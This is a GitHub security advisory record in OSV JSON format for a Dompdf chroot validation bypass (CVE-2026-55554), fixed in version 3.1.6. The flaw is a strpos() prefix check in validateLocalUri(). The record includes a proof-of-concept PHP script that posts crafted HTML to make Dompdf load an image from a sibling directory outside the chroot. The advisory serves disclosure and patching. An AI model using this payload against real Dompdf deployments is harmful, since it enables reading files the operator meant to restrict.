{"id":"GHSA-wvh6-f5jh-8gw4","summary":"Dompdf: Chroot Validation Bypass","details":"### Summary\nThe chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.\n\nThis allows attacker-controlled document paths/resources to bypass intended local file restrictions.\n\n### Details\nThe `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison:\n\n\n```\n    public function validateLocalUri(string $uri)\n    {\n        ...\n        $realfile = realpath(str_replace(\"file://\", \"\", $uri));\n        ...\n        foreach ($dirs as $chrootPath) {\n            $chrootPath = realpath($chrootPath);\n            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {\n                $chrootValid = true;\n```\n\nDue to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of  `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions.\n\nFor example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories.\n\n### PoC\n\nWith a directory structure similar to:\n\n```\n/home/dompdf/\n  |--\u003e web/\n        |--\u003e pdf.php\n        |--\u003e cat0.jpg\n  |--\u003e web-admin/\n        |--\u003e cat1.jpg\n```\n\nAnd web-accessible Dompdf functionality similar to the following (poc.html):\n\n```\n\u003c?php\nrequire 'vendor/autoload.php';\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options-\u003esetChroot(['/home/dompdf/web/']);\n$dompdf = new Dompdf($options);\n\n$dompdf-\u003eloadHtml($_POST['html']);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n?\u003e\n```\n\nA malicious actor can exploit the vulnerability with the following script:\n\n```\n$html = \u003c\u003c\u003cHTML\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n    \u003cbody\u003e\n        \u003cp\u003ewithin chroot\u003c/p\u003e\n            \u003cimg src=\"/home/dompdf/web/cat0.jpg\"\u003e\n        \u003cp\u003eoutside of chroot\u003c/p\u003e\n            \u003cimg src=\"/home/dompdf/web-admin/cat1.jpg\"\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\nHTML;\n\n$url = 'http://example.com/poc.php';\n$data = ['html' =\u003e $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' =\u003e [\n        'header' =\u003e $headers,\n        'method' =\u003e 'POST',\n        'content' =\u003e http_build_query($data),\n        'ignore_errors' =\u003e true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\nWhen the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot.\n\n### Impact\nAn attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.","aliases":["CVE-2026-55554"],"modified":"2026-07-22T21:26:46.998105Z","published":"2026-07-22T21:06:48Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-20","CWE-22"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-07-22T21:06:48Z"},"references":[{"type":"WEB","url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-wvh6-f5jh-8gw4"},{"type":"WEB","url":"https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006"},{"type":"PACKAGE","url":"https://github.com/dompdf/dompdf"},{"type":"WEB","url":"https://github.com/dompdf/dompdf/releases/tag/v3.1.6"}],"affected":[{"package":{"name":"dompdf/dompdf","ecosystem":"Packagist","purl":"pkg:composer/dompdf/dompdf"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-wvh6-f5jh-8gw4/GHSA-wvh6-f5jh-8gw4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}]}